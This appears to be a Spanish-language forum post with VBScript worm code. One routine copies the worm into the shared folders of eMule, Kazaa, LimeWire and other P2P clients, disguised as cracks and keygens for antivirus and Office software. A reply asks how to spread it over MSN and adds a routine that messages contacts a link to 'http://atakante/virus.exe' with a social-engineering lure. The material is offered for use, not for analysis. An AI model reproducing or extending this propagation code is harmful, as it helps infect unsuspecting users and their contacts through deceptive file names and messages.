Const programas = &H26

sub infectarp2p()
'subproceso que se encarga de crear copias del gusano con diferente nombre
    On Error Resume Next
    dim foldersp2p(8)

Set carpetaprogramas = objShell.Namespace(programas)
cprogramas = carpetaprogramas.Self.Path
foldersp2p(0)  = "C:\DOCUME~1\"& userdir &"\shared\"
foldersp2p(1)  = cprogramas & "\eMule\Incoming\"
foldersp2p(2)  = cprogramas & "\Bearshare\Shared\"
foldersp2p(3)  = cprogramas & "\eDonkey2000\Incoming\"
foldersp2p(4)  = cprogramas & "\Grokster\MYGROK~1\"
foldersp2p(5)  = cprogramas & "\ICQ\Shared Folder\"
foldersp2p(6)  = cprogramas & "\Kazaa Lite\MYSHAR~1\"
foldersp2p(7)  = cprogramas & "\Kazaa\MYSHAR~1\"
foldersp2p(8)  = cprogramas & "\LimeWire\Shared\"
for each folderainfectar in foldersp2p
  infectarfiles(folderainfectar)
dim nombrefakep2p(10)
nombrefakep2p(0)  = "Kaspersky 7.0.0.125"
nombrefakep2p(1)  = "Kaspersky Anti-Virus7.0.0.125"
nombrefakep2p(2)  = "Nero 8 UltraEdition 8.0.3.0"
nombrefakep2p(3)  = "Ad-Aware 2007 Pro"
nombrefakep2p(4)  = "Ahead Nero 8 UltraEdition"
nombrefakep2p(5)  = "Fifa 2008 ENG"
nombrefakep2p(6)  = "Kaspersky Internet Security 7.0.0.125"
nombrefakep2p(7)  = "Microsoft Office 2007 Enterprise (Productkey)"
nombrefakep2p(8)  = "AD-aware 2007"
nombrefakep2p(9)  = "Microsoft Office Pro 2007"
nombrefakep2p(10) = "AVGAnti-Spyware 7.5.1.43"
for each nombrep2p in nombrefakep2p
dim tipofake(1)
tipofake(0) = "keygen_"
tipofake(1) = "crack_"
for each typefake in tipofake
const extensión = ".exe"
   if not fso.FileExists(folderainfectar & typefake & nombrep2p & extensión) then
fso.CopyFile w0rmname, folderainfectar & typefake & nombrep2p & extensión , true
     end if
   next
 next
next
end sub

Ese manual esta excelente como todos los que e visto del mismo autor, me da curiosidad el saber como se tendría que
modificar ese código para que la victima les enviara el gusano por MSN automáticamente acompañado de un "mira mi foto" si no me equivoco
esto aun no se ve por estos foros

Infectar_MzN()

Private Sub Infectar_MzN() 'Infecto a los contactos del MSN utilizando IS
Set WshShell = WScript.CreateObject("WScript.Shell")

Set w = CreateObject("Messenger.UIAutomation")
For Each IMessengerContact In w.MyContacts
    If IMessengerContact.Status <> MISTATUS_ONLINE Then
        Set iMsn = w.InstantMessage(IMessengerContact.SigninName)
WshShell.SendKeys "hola mira esto!!!! http://atakante/virus.exe" 'Inicia el Msj
WshShell.SendKeys "{ENTER}" 'Confirm
    End If
Next
End Sub